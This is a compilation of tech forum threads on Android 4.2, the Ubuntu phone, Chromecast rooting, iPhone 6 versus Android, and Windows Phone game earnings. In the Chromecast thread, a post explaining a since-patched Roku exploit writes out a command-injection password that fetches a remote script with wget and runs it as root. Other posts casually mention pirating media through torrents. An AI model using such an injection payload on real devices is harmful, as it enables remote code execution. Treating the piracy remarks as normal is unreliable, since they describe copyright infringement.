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Can't believe we were anxiously awaiting this..

Android 4.2 doesn't even seem well thought out, let alone designed. Is Google playing the Apple game, tying us into their universe and making us take whatever the deliver?
Do they even care how many apps won't work or have to have multiple purchases to support their multi-user "security"? Should have just left the multi-user thing to 3rd party devs. They fail on this, IMO.

rootbrain said:
Android 4.2 doesn't even seem well thought out, let alone designed. Is Google playing the Apple game, tying us into their universe and making us take whatever the deliver?
Do they even care how many apps won't work or have to have multiple purchases to support their multi-user "security"? Should have just left the multi-user thing to 3rd party devs. They fail on this, IMO.
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Google doesn't care.. Remember when 4.1.1 broke a bunch of paid apps by sticking them in the asec folder which wasn't mounted at startup? So since it wasn't mounted Android never saw the apps during boot and paid keyboards and widgets disappeared after a reboot. MONTHS went by before it was addressed. Meanwhile developers of those paid apps had angry customers and money lost because of Google
This will be the same song and dance.. Google is getting very sloppy with development and communication with developers pre-release seems to not exist.

I love it.
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Stop stereotyping. People are always so quick to hate on Americans. Yes there are bad Americans...but every country has them. Even your country. But I'm not going to go there since I happen to like most people from the UK that I've encountered...it would be unfair to label your entire nation as arrogant, ungrateful, and judgmental because of your behavior.
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leelaa said:
I love it.
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Seriously how is the "I love it" on topic or not a personal feeling?
Anyway thanks for the clean up
But still I agree with the OP. Google is becoming arrogant, sloppy and in its quest to be more user friendly making fiends of the ppl that were with them from version 1.

So what is the problem? I am only one person using my nexus and I haven't run into any issues.
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sikagoon7 said:
4.2 works fine for me. A few bugs here and there but you can't expect everything to be perfect. Google getting arrogant? Please. Sloppy? I'd say they are spread a bit thin with all the projects they have going on.
Google is run by humans. Android developers are humans. Humans make errors. Not too complicated.
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well its not about the bugs, bugs can be forgiven.
System works fine...
Its about their behavior
For me personally that I can't mount my USB stick, or lost tablet mode means that I downgraded to 4.1.2 back.

Today is Thursday. The sun will still shine Friday
Humm ..
Its called growing pains. Sometimes you have to take a STEP Back to move two bigger steps foreword. I see so much talk about this is not there that is buggy. Yes we get it.. But what i am seeing mostly is app compatibility Being Broke.. This is something that will be fixed Quickly by most Developers.
Android is and always will be "A WORK IN PROGRESS". My opinion only but if you want bland and safe sell your nexus 7 to me for .50 cents and get a ipad mini.
People who are having issues Please go to the developers web site and let them know your app is not working properly .Give them exact details. You can do the same to google at groups.google.com. Just be Patient
Now my GRIPE The multi user cluster (word here im not typing) as others said was not well though through by google. My guess is they made a date promise and pushed out only part of the Feature.. Typical Google.
It will get better and it will happen quite soon.. Lets just hope...
Take a deep breath relax and say to yourself.. Its only a tablet its only a tablet its only a toy tablet... ..
Thanks for Reading... :fingers-crossed:

I suppose YMMV, but I love 4.2. Smoother than 4.1, and nice features. The only thing that really seems half-assed is the multiuser support.

What is your problem with multi-user? For me and my daughter it is working great - could not be better.
I did add my account to her user ID Play store so she could see the apps we own and install the link.
Performance is good - all our preferences and accounts are separated - and I really can't think of any other features I would want.

I did add my account to her user ID Play store so she could see the apps we own and install the link.
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I haven't played with multi-user yet, can you add the account just for the play store and not have someone access the gmail account associated with it?
That's my gripe, I want to be able to for ex, have my nephew play with my tablet and all the games etc, but don't want him to access to my gmail etc. I thought this was perfect for that but then read about the app issue. Also, I assume there is no type of limited user, in that a secondary account can still uninstall apps, but at least they can't delete files from the other users home dir.

Yes - my account is just added to my daughter's play store. Open play store and look at add account option.
Works perfectly to give her access to the apps we share.
NO shared Gmail.
Forgot something important:
When you add a second account to play store, you are given a bunch of items you can synch, like contacts.
Uncheck them all!
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i had a valid post in this thread, it seems to have been removed ........yet you left the dude saying "love it".
cheers for that :confused
and im sorry but why has this guy just been thanked by 10 people? the post has nothing to do with anything...... shenanigans shenanigans i tells ya!!:silly:

Stick mount wasn't a feature of 4.1. It was hacked in which is why you had to be rooted and use an app. You'll get USB support again. Multiuser support screwed with the storage. That's all.
New tweaks are a little rough around the edges but will be smoothed out soon enough. Give it time, damn guys. I personally think its no better or worse then 4.1.2. We just have a few new toys now.
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4.2 = 1st time I've truly experienced "butter"...
Sure, I kinda miss the bells & whistles I had on Codename Android, and I'll definitely check out any forthcoming 4.2 updates, but scrosler's stock, rooted, deodexed ROM is far & away the smoothest, quickest ROM I've used on any Android device. Stock kernel, no tweaks, plain vanilla is for me for now. Way better Google experience. OK, I sideloaded the AOSP browser for Flash, but that's it. Chrome is much more responsive on 4.2 than 4.1.2 - Everything is noticeably quicker - I even detect better wireless response. Your results may vary, but I'm not going back!

[/COLOR]If you are unhappy just roll back to 4.1.2. This isn't iOS. You can downgrade all you want.[/QUOTE]
Please tell me how, not rooted?
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Am I the only one that has multiple apps that crash and all kinds of problems? Hell even the Youtube app crashes, i am so pissed i want a refund on this tablet they ruined or i want 4.1.2 back grrrrrrrrrr
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If you are unhappy just roll back to 4.1.2. This isn't iOS. You can downgrade all you want.
Please tell me how, not rooted?
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Wouldn't a factory image flashing work?

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Wouldn't a factory image flashing work?
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Yes
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erica_renee said:
HMy guess is they made a date promise and pushed out only part of the Feature.. Typical Google.
It will get better and it will happen quite soon.. Lets just hope...
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Well, I do belive that you are right. I also feared (and expected, to tell the truth) that something EXACTLY like this would happen. I tried NOT to update the system, but why the hell did they keep forcing it when we obvoiusly do not want it? And probably, they must have known that it will broke a lot of things...
Just to explain: for me, there was a message with three buttons: upgrade, more info (which leads to seme text and bigger "upgrade" button and "later", but that "later" means only "ask at next screen unlock" which made the tablet realy hard to use. So, what choice have I had?

Ubuntu coming with something big?

Over at ubuntu.com, it looks like they are fixing to reveal something. Will it be a mobile device? Steam box?
The timer is set to finish at 12:00 CST.

No.
Just a touch interface... try to rival Win8...

SleepyKrushna said:
No.
Just a touch interface... try to rival Win8...
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Rival implies they care about their market share. They don't. It's just the future happening. Computers have touch screens now so it's only logical that Ubuntu (and other distros) accommodate them.

yup.. touch interface and maybe sth for tablets.. we'll see in 45mins

063_XOBX said:
Rival implies they care about their market share. They don't. It's just the future happening. Computers have touch screens now so it's only logical that Ubuntu (and other distros) accommodate them.
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Semantics.
You know I meant what you said...

It's Ubuntu on phones. Check their website
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ak700 said:
It's Ubuntu on phones. Check their website
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Website just showing 000000 on the countdown to me...
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Does anyone else get reminded of Jolla Sailfish?

SleepyKrushna said:
Website just showing 000000 on the countdown to me...
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Does anyone else get reminded of Jolla Sailfish?
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I think we DDoS'ed the site... Lol. I hope we can get this on any Android phone. This will be so amazing.
https://www.youtube.com/watch?v=cpWHJDLsqTU

Ubuntu Phone. Yes, please.
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Confirmed in the video, if you have an Android device, Ubuntu for smartphones will run on any Android kernel.
Guys, I love Android, but it looks like we have a competitor on our hands. Ubuntu will show up EVERYWHERE.
I have a feeling this will be the new Windows. This could dominate.

Please make this installable on my Nexus...dual-boot if possible! Ubuntu is great, but I really want to use Android as well...
The phone in the vid really does look a lot like my Galaxy Nexus...^^

landonh12 said:
Confirmed in the video, if you have an Android device, Ubuntu for smartphones will run on any Android kernel.
Guys, I love Android, but it looks like we have a competitor on our hands. Ubuntu will show up EVERYWHERE.
I have a feeling this will be the new Windows. This could dominate.
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No. THink about it. How many android owners are tech savvy enough to install a different OS on their phone, 25%?

25% is quite a few anyway...

jaszek said:
No. THink about it. How many android owners are tech savvy enough to install a different OS on their phone, 25%?
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This will come pre-installed on manufacturer devices from what I saw in the video. I think manufacturers will start leaning towards linux in general, and with steam coming to ubuntu..

I'm just wondering what the app situation will be at start. Hopefully I can dual boot it with regular android, since Ubuntu wont have Play Store support.

I wonder when the first Alpha builds will show up on XDA...

landonh12 said:
This will come pre-installed on manufacturer devices from what I saw in the video. I think manufacturers will start leaning towards linux in general, and with steam coming to ubuntu..
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It won't come pre installed on many (if any devices). There is very little advantage to adding a feature 99% of the populace has no concern for and there's a definite disadvantage to being forced to support it if it came preloaded.

And obviously they used the S3 on the website to demonstrate it, so we know it'll have Ubuntu available for it

jaszek said:
I'm just wondering what the app situation will be at start. Hopefully I can dual boot it with regular android, since Ubuntu wont have Play Store support.
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I heard them say that "native" apps would work the best. Maybe some type of emulation?

jaszek said:
I'm just wondering what the app situation will be at start. Hopefully I can dual boot it with regular android, since Ubuntu wont have Play Store support.
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I was hoping the same... but that doesn't seem to be the case...

Future Rooting of Chromecast?!

Does anyone know if there will be any rooting to the current builds of Chromecast?

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Are you sure about that? I thought nothing has been found yet but still looking for a way.

wptski said:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
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Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.

The original hack to root the Chromecast was in the boot loader. Google has patched that and made the boot loader secure. You can't install any software on the Chromecast, and it will only talk to whitelisted apps, so how are you going to root it now? I'm not saying it's impossible, just very difficult.
For example an exploit to root the very secure Roku boxes came out 2 days ago, and the security hole exploited was an incredibly dumb oversight by Roku. The Roku can be put into Developer Mode by a special combination of remote button presses. The Developer Mode displays extra information and allows you to install apps over a local network without going through the app store, but the app environment is no less secure. You can specify a password for Developer Mode when you first set it up, and you can later reset that password if you want. When you type in a new password, the Roku internally executes a shell command of the form "passwd rokudev (new password)" to set the password. Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is internally inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://SomeExploitScript;sh /*/x.sh;" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Could something like that happen on the CC? Maybe.

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Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://exploitscript;sh /*/x.sh" happily downloads and executes whatever exploit script you want on the device with full root privilege.
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Ouch, that's like a SQL injection attack.
Back to Chromecast, I think everyone's waiting for the SDK to be released and hoping to find an exploit there, as once the SDK is released it's more difficult to change it or take it back.

Asphyx said:
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
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Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.

LOL this is XDA...the word IMPOSSIBLE isn't part of the Vocabulary here!
Someone will find a way to send something to CCast that makes it rooted...
Nothing is completely secure around these parts!

I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.

wptski said:
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
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Nope not rooted....At least on my CCast....I have a dozen other devices all rooted because rooting gives me the ability to change some parameters and add some capability disabled by default.
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
What are you doing with root that I can't right now other that bypass a whitelist? Running a Rom that incorporates the fixes I got today sometime tomorrow? Im sure team Eureka's rom does much more than just bypass the Whitelist but really other than All Cast (which I don't need since I got PlexPass) there is nothing I have seen root and a custom ROM do that I don't already have except maybe Screen Mirroring which doesn't really require root just someone to make an APP that tells the CCast it is a Googlecast which is on the Whitelist.
Does rooting make the NBC app able to stream to the CCast?
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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bhiga said:
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
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And let me be clear this is not meant to downplay the usefulness of the Team Eureka project in any way shape or form...
But I missed out on Rooting because I got the Update and the device doesn't seem to be limiting me on what I need it to do so I'm not really missing the lack of Whitelist!
Team Eureka has been VERY QUICK with the updates as they happen and if you have root good for you!
But I'm not going to complain or keep asking for a new Rooting Method just to have something I don't seem to need right now.
I gave up bragging about what I did to my Devices long ago! LOL

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Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
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Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
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What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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First I thought you were talking Adobe (formerly Macromedia) Flash... and I was going to agree.
But you're talking device flash. And I still agree.
I always have fear that automatic updates promote a mentality of "Oh, well, if it's broken we'll just push another update" - that's another advantage of being rooted - you could just turn OTA updates off and you don't have to accept the latest-and-sometimes-not-so-great version.
However, until the SDK is officially released, it's quite possible that some new app or feature will require a particular minimum build, which could cause the delay between official release and rooted release to cause rumblings in the impatient masses. :angel:
Long story short, the core market for Chromecast is people who want to simply Plug and Play. The rest of us are just special.
(Okay, now I think I've exhausted my smiley quota for today)

Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!

bhiga said:
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
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Yep! And I'm not bemoaning anyone else wanting Root just saying that unless you REALLY need something that requires it I personally don't see the point.
But it's not like root is going to get me WiFi Tethering or a Boat free version of AOSP 4.4
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it. All of My Media is my own via Plex.
As for Temperature I only have three Temps I use in my daily life...
Too Hot
Too Cold
I'm Fine!
LOL
Whitelist bypassing is about the only feature I could want but I haven't seen an App yet that I need (except maybe AllCast) that really compels me to fret about not being rooted.
I fully understand other people's desire to get root especially here, But I also know that Devs rarely waste time on doing the same thing over and over again or waste time cracking root unless they are extremely bored. They have better things to do than play Root Tag with Google!
I would hope instead of working on Root they were working on Apps that could be whitelisted cause at some point if enough apps request whitelisting and it becomes a nuisance to manage on the Google side they will get rid of it entirely! LOL
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Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
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It doesn't bother me if thats how they choose to pas the time of their day...LOL To Each his own...
But they almost always come back and complain if the Dev doesn't give them their Fix in a timely fashion!
Even to the point that they donate to the Dev and then expect their $5 donation entitles them to a Weekly update to flash...
The Best however are the few who never read the changelog of the Roms they use and the Developer has a CRONTAB builder running to make a new Nightly automatically regardless if any changes were made!
And they come back and say This version is MUCH BETTER or WORSE! LOL
It's the same EXACT rom you ran yesterday! LOL
@bhiga My Chart say you still have about 20 smileys left! LOL
I chaulk most of the insanity up on FKOTB syndrome (First Kid On The BLOCK)
My devices working and stable is much more important than what it says on the About Page!
But they have been conditioned to think that one number higher somehow relates to being better! LOL
Ok enough off topic Banter My chart says I HAVE reached my Off Topic Quota for the day! LOL

So TC is basically asking someone to read the future.... Interesting.
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Asphyx said:
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it.
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I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?

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Are you sure about that? I thought nothing has been found yet but still looking for a way.
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You are reading too much into answer. I simply answered his question. No. Nobody knows if there will be an exploit. Chances are it will happen, but there currently isn't one and nobody knows if there will be one.

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I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
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We can get that content just fine actually....
The restrictions for you folk in the UK have more to do with EU Import limitations not the fact content is restricted by region.
The only Content we can't get here that you can get is stuff like NFL streaming packages because the TV networks here who pay for that content forbid it. Yet I still watch live football anytime I want regardless of what they decided to show me on TV that day.
The only thing that was stopping us from seeing the stuff on BBC iPlayer was their insistence on using Flash which many devices have dropped support for in the US. They have since got away from flash I believe...I now get it via Plex Channel.
And when all else fails and it isn't available via a stream I just load up the ole uTorrent and there it is sitting on my Plex Server in no time.....

Guess it depends on how you put the subject and question together...
Is there a root method for builds newer than 12072?
No.
Will there be a root method for builds newer than 12072?
Nobody knows. The crystal ball is not giving an answer, and we don't trust the Magic 8-Ball.

Yeah, it would make things so much easier to be able to change the DNS. I hope they can get this rooted again.
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Roku patched the rooting loophole in their firmware and has pushed it out by automatic update. Time from publication of the vulnerability to patching: 1.5 days.
Google isn't quite that on-the-ball, but if a new vulnerability to root the Chromecast comes out, I hope the originators wait for at least a holiday weekend before publishing it to give us a chance.

What's with the iphone 6 ???

Compared to say the S5, or Note 4 ?
I was shocked last weekend when my friends and I had some bbq afternoon... All 10 of them had a shiny iphone 6 !
Mind you these people don't know sh ite about rooting and stuff like that, they just take pictures and post them on instagram and sh itbook, even my cousin and her husband... am I the only one who loves Android and Samsung? or they have not seen the light yet????

Lol. I just look at the sheeple and laugh.
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Mind you, these are the same people that will take their laptop to an "expert" when they have a virus.

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[/COLOR]Mind you, these are the same people that will take their laptop to an "expert" when they have a virus.
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exactly right, they abuse me when they get a virus on their laptop...

iPhones are just popular because they are easy to use and are updated often and quickly. It's a painless process to upload your music, movies and photos. iOS has a huge app library with very nice quality apps. The phones look great and perform well. Using one iPhone means you pretty much know how to use any iPhone. This is unlike Android where music management is a nightmare. The Play store is flooded with low quality apps and poor support. Using one Android phone means you know nothing about all the other Android phones. In short, to the non tech geek iPhones are the go-to. They are popular because they are easy to use. It also helps that Apples products are usually a status symbol.
The downside to not having Android is your limited in customization of ROMs or kernels. That doesn't mean you can't customize iOS. You just can't go as far as you can with Android.
Android Phones gives you more freedom.
Apple iPhones gives you less headaches.

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iPhones are just popular because they are easy to use and are updated often and quickly. It's a painless process to upload your music, movies and photos. iOS has a huge app library with very nice quality apps. The phones look great and perform well. Using one iPhone means you pretty much know how to use any iPhone. This is unlike Android where music management is a nightmare. The Play store is flooded with low quality apps and poor support. Using one Android phone means you know nothing about all the other Android phones. In short, to the non tech geek iPhones are the go-to. They are popular because they are easy to use. It also helps that Apples products are usually a status symbol.
The downside to not having Android is your limited in customization of ROMs or kernels. That doesn't mean you can't customize iOS. You just can't go as far as you can with Android.
Android Phones gives you more freedom.
Apple iPhones gives you less headaches.
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Could not have said that better IPhone is perfect when you just want the phone that works without much hassle. Android is perfect when you love tweaking and playing with your phone and not actually use it that much Because with a android you are never satisfied, there is always something more to tweak, change rom and other stuff so for me it always ends with just messing with it. To much time tweaking and flashing to find the perfect setup

Although the tweaking and flashing is a massive plus with Android for me, an even bigger plus is the ability to download files like mp3s and pdfs etc from the net or a torrent and play them straight away. With IOS you can't. Android is much more like a true mini pc compared to IOS. That's why I could never go back to IOS.

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Although the tweaking and flashing is a massive plus with Android for me, an even bigger plus is the ability to download files like mp3s and pdfs etc from the net or a torrent and play them straight away. With IOS you can't. Android is much more like a true mini pc compared to IOS. That's why I could never go back to IOS.
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Oh yeah, the mp3 download is a big factor for me. My friends ask me where I buy music. I said it's free and I use my phone, and showed a friend once... he just kept quiet. If you reverse the situation, I'm sure they'd be bragging.

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Oh yeah, the mp3 download is a big factor for me. My friends ask me where I buy music. I said it's free and I use my phone, and showed a friend once... he just kept quiet. If you reverse the situation, I'm sure they'd be bragging.
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you dont have to buy anything

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you dont have to buy anything
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Yep it's called stealing ....
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Ive a app called xender which sends all the mp3 & videos from android to iphone without any hassle otherwise I would have said bye bye iphone.I think iphone should reduce some restrictions,would gather more android users.
What do you guys think?
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RISHI RAJ said:
Ive a app called xender which sends all the mp3 & videos from android to iphone without any hassle otherwise I would have said bye bye iphone.I think iphone should reduce some restrictions,would gather more android users.
What do you guys think?
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Me, NOT at the moment. I am so used to android, just like my PC vs Mac, and my Canon DSLR vs Nikon...
But time will tell, now that Samsung started rolling phones that have irreplaceable battery and no SD card support...

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Yep it's called stealing ....
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Nope i meant it goes same for both os.

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Nope i meant it goes same for both os.
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Given the way the OP phrased his post - I think we were both accurate But yes you are right. There are plenty of people accessing content they haven't paid for on iOS too.

as an ex-iphone user (went from S1 to iphone 4 then iphone 5, back to S3 and every samsung since then) i have a similar view on them.
iPhones are simple to understand - not simple to use. there is always one way to do something, and thats it.
For many people thats preferable to feeling like an idiot when there is 10 ways to do something. go to android and watch a movie "oh it didnt work" - you tell them to try BS player or MX player and they just throw their hands in the air, because the built in video player is holy and sacred.
The reason for the simplicity is simple: On apple, every last thing is designed to come from itunes, and be played by the apple stock apps. there is one source to get the content, one app to play them, and the only thing that seperates the users is how much money you have to throw at the apple ecosystem - once someone has spent a few hundred bucks on iTunes content they'll never leave, because they add that value to offset the cost of a new phone. $900 iphone? pfft,i have $2K in iTunes, it might as well be free!"
on android, you can buy them from a dozen sources, pirate them, copy them from your PC - and you have infinite playback options. its simply too complex for people who bought the phone without knowing *WHY* they bought that phone, since they dont use most of its capabilities anyway. These are the common iSheep, the people who bought it because it's cool and looks fancy, but use it like a nokia.
Everyone i've converted from apple to samsung has followed the same path as well "why? this does the same things as my iphone, but the iphone is prettier and has itunes" - they do a direct comparison without even considering what the phone can do BEYOND the iphones capabilities. Showing them the S-pen, or directly playing files off my NAS/PC over wifi, or MHL/HDMI, or the note 4's super fast charging blows them away.
the iphone is the baseline, and they're so used to having just ONE choice that when presented with two or three or 10, they simply treat all the options as the same.
"i hate android" means "i used one android phone once, and they're all the same right?" - this also goes for themes, keyboards, stock apps and so on.

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they're so used to having just ONE choice that when presented with two or three or 10, they simply treat all the options as the same. "i hate android" means "i used one android phone once, and they're all the same right?"
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Pretty much. I was really over whelmed when I came back to Android. I was used to things just working out of the box. Now I have to rebuild my music collection from Google Play as that is eaiser then attempting to transfer from iTunes. Took a few days before I got the hang of flashing and building from source. Things have changed as if you keep in mind my iPhone is now just a really expensive GameBoy Advance and remote. My Note 4 is my daily driver.

So, on iPhone there is no proper PGP support, no NFC APIs (so no support for secure tokens such as Yubikey, or even NFC tags), no low level network APIs (so you can't implement your own protocol, such as OpenVPN).... (I could go on and on)
It seems like a no-go to me, it is pretty much locked down as well, even though you actually purchased the device you can't do anything on it that's not endorsed by Apple, that's why I strayed away from the iPhone in the first place (I used to own an iPhone 3GS, that's until I swiched to android and never came back).
As someone that works in IT, and need to handle sensitive data, iOS is just not the system for me.

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As someone that works in IT, and need to handle sensitive data, iOS is just not the system for me.
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But that's the thing of course. If you work in IT, you most probably want an android. However if you don't know sh*t about IT, which 98% of the people don't, an iphone really might be the better option. You dont have to worry about battery drains, wakelocks, background apps running, viruses, etc. It just does what it's supposed to do when a monkey operates it.
But if you're in IT, you most likely want to do some more stuff, go more in depth and then Android is clearly the OS of choice.

I like iphone coz everybody knows when u have an iphone.But you have to tell that you have a Note 4 coz there are hell lot of samsung mobile with similar looks.Also there is atleast 1 year surity that apple will not release another phone with similar looks.Also with some restrictions removed like access to files or install from external source could make apple on top.But guess this is how ios will be.Although I can now play movies & songs from external source by an app called xender atleast making it usable
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For me is simple, if I use iPhone I will become dump, if I use android I will be generous because android is for geek not for dump. Yes lol most of the people use apple iPhone but they are totally useless in technology. There are a lot of iPhone user who even don't know simple problems in smart phone world. My company have a lot of previous ios user try to use android and return back to iPhone because very simple problem in android (simple problem for android user) is bothering them, that android user can solve the problem in just few second. I have a lot of friends using iPhone and always come to me with some simple problem I just laugh and says only one word..... useless guys. They always says iPhone is very smart.. ha ha.. i always says ..yes you are dump and go study first.
I am not insulting them, I just want them to not blind and open eye, Technology is changing, iPhone is good but not perfect, android is good but not for normal user same as window phone.

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For me is simple, if I use iPhone I will become dump, if I use android I will be generous because android is for geek not for dump. Yes lol most of the people use apple iPhone but they are totally useless in technology. There are a lot of iPhone user who even don't know simple problem problem in smart phone world. My company have a lot of previous ios user try to use android and return back to iPhone because very simple problem in android (simple problem for android user) is bothering them, that android user can solve the problem in just few second. I have a lot of friends using iPhone and always come to me with some simple problem I just laugh and says only one word..... useless guys. They always says iPhone is very smart.. ha ha.. i always says ..yes you are dump and go study first.
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I do not intend to be rude, but in english the word dump means something different to the way you are using it. Perhaps you meant the word dumb?

Developing games for windows phone

Hi,
i'm a game developer that has already published two indie games on the android. Is the time developing games for windows phone worthing in terms of earnings? Is there a market, or is all dead field?

Depends on the game.
If there's the generic kind of game, the market is already saturated. So you better have good ideas.

Smaller market, fewer developers/apps. Should come out just about the same as for Android or iOS for a new app?!
Also, a while ago, Microsoft was sponsoring developers for Windows Phone. (On top, they by now create/integrate cross-platform tools.) I did not find the sponsoring program anymore, perhaps it has run out.

Ok thank you i'll think about it

@Ianfire, I've checked your app "Mana Maker" - you may be sure, you'll get same amount of downloads (≈ 100, right?) on WP platform easily so don't worry

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@Ianfire, I've checked your app "Mana Maker" - you may be sure, you'll get same amount of downloads (≈ 100, right?) on WP platform easily so don't worry
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Unfortunately yes, around 100 :\ it is difficult to make a game on Android with a decent amount of users, i was wondering if it would be easier on windows.

If you don't have better ideas, why not to try WP platform? However be realistic: if you don't have a success on the Android platform, don't expect different results on WP... But you will have at least one additional advantage - you may create universal app for handsets, tablets and desktops.

My experience
From my experience, Android has been the worst performing platforms.
IOS is doing the best with Windows Phone next..
I'm not too sure why but it is what it is!

@siriousG but who are you? Well known game developer with a lot of mobile games? Or may be an owner of the large company who collects statistical data for all mobile platforms? Or maybe just a newbie who shared his unfounded subjective incorrect opinion "just because I need to say something stupid"?..

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@siriousG but who are you? Well known game developer with a lot of mobile games? Or may be an owner of the large company who collects statistical data for all mobile platforms? Or maybe just a newbie who shared his unfounded subjective incorrect opinion "just because I need to say something stupid"?..
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I'm a new indie developer. (I just registered here)
I have released 3 games in the last couple months and am just relating my experience (with no promotion).
You can see more of my work here : siriousgames.com
My downloads are still very low so I'm not a great sample but Windows Phone is still performing better for me than Android.

Hmm, but if your downloads are very low (it's not a statistics but all about games quality), why do you think that "Android worst performing platform"?
Your statistics definitely is not enough to judge platforms reliability and performance!
The Windows Phone platform has only one advantage: less competition, that's all. So developers still has a chance (but small one) to find their own niche.

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Hmm, but if your downloads are very low (it's not a statistics but all about games quality), why do you think that "Android worst performing platform"?
Your statistics definitely is not enough to judge platforms reliability and performance!
The Windows Phone platform has only one advantage: less competition, that's all. So developers still has a chance (but small one) to find their own niche.
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I meant it solely from my personal experience with my own games only, not from a general standpoint.
I know Android games make a lot more money than Windows Phone 99% of the time, I'm just saying Windows Phone can actually do decent and even better in certain cases!
Sorry for the confusion.

OK, don't worry, nevermind

I'm also curious about this. I just launched my first windows phone app, but it seems really hard to promote it on the market.
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@Ianfire, I've checked your app "Mana Maker" - you may be sure, you'll get same amount of downloads (≈ 100, right?) on WP platform easily so don't worry
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And how does ~100 downloads help you in any way ? I think you need tens of thousands if you want to earn anything with a free app